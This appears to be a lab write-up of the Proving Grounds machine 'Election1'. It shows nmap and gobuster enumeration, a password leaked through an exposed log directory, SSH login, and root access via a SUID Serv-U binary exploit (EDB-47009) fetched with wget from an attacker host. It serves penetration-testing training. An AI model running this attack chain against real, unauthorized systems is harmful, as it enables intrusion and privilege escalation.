Skip to content
HackIndex.io

Election1 Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Election1 exposes an admin logs directory that is left world-browsable, leaking a password for the user love. SSH access leads to a SUID Serv-U FTP Server binary vulnerable to a known local privilege escalation exploit, which drops straight to root.

Reconnaissance

Nmap

Scan all ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- $TARGET_IP 
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Port 80 serves a default Apache page. Brute force directories.

Directory discovery

Fuzz the web root, then the discovered application directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u $TARGET_IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k 
/javascript           (Status: 301)
/election             (Status: 301)
/phpmyadmin           (Status: 301)

Nothing useful in /phpmyadmin. Fuzz inside /election/.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u $TARGET_IP/election/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k 
/media                (Status: 301)
/themes               (Status: 301)
/data                 (Status: 301)
/admin                (Status: 301)
/lib                  (Status: 301)
/languages            (Status: 301)
/js                   (Status: 301)

/election/admin/ is a login page. Fuzz it too.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u $TARGET_IP/election/admin/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k 
/img                  (Status: 301)
/plugins              (Status: 301)
/css                  (Status: 301)
/ajax                 (Status: 301)
/js                   (Status: 301)
/components           (Status: 301)
/inc                  (Status: 301)
/logs                 (Status: 301)

Enumeration

The /election/admin/logs directory has directory listing enabled and contains an application log that records a plaintext password assignment.

┌──(kali㉿kali)-[~]
└─$ curl $TARGET_IP/election/admin/logs/app.log 
[2020-01-01 00:00:00] Assigned Password for the user love: $LOVE_PASSWORD
[2020-04-03 00:13:53] Love added candidate 'Love'.

Exploitation

SSH as love

Use the leaked credential to log in over SSH.

┌──(kali㉿kali)-[~]
└─$ ssh love@$TARGET_IP 
love@election:~$ id
uid=1000(love) gid=1000(love) groups=1000(love)

Privilege Escalation

SUID Serv-U FTP Server

Look for SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -perm -u=s -type f 2>/dev/null 
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/sudo
/usr/sbin/pppd
/usr/local/Serv-U/Serv-U

/usr/local/Serv-U/Serv-U stands out. Serv-U FTP Server below version 15.1.7 has a known local privilege escalation (EDB-47009).

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 47009 
Copied to: /home/kali/47009.c

Serve the exploit from the attacker machine and pull it onto the target.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80
┌──(kali㉿kali)-[~]
└─$ cd /tmp
┌──(kali㉿kali)-[~]
└─$ wget http://$ATTACKER_IP/47009.c
┌──(kali㉿kali)-[~]
└─$ gcc 47009.c -o 47009 
47009.c  100%[========>]  588  --.-KB/s  in 0.009s
┌──(kali㉿kali)-[~]
└─$ ./47009 
opening root shell
# id
uid=0(root) gid=0(root) groups=0(root)

Related

Web Content Discovery
Blog

Web Content Discovery

Techniques for discovering hidden files, directories, and endpoints on web servers using fuzzing too...
Information Disclosure Checks
Blog

Information Disclosure Checks

Identifies unintended data exposure via HTTP responses, headers, error messages, and server banners...
SUID and SGID Binary Privilege Escalation
Blog

SUID and SGID Binary Privilege Escalation

Exploit misconfigured SUID/SGID binaries on Linux to escalate privileges by abusing executables that...

References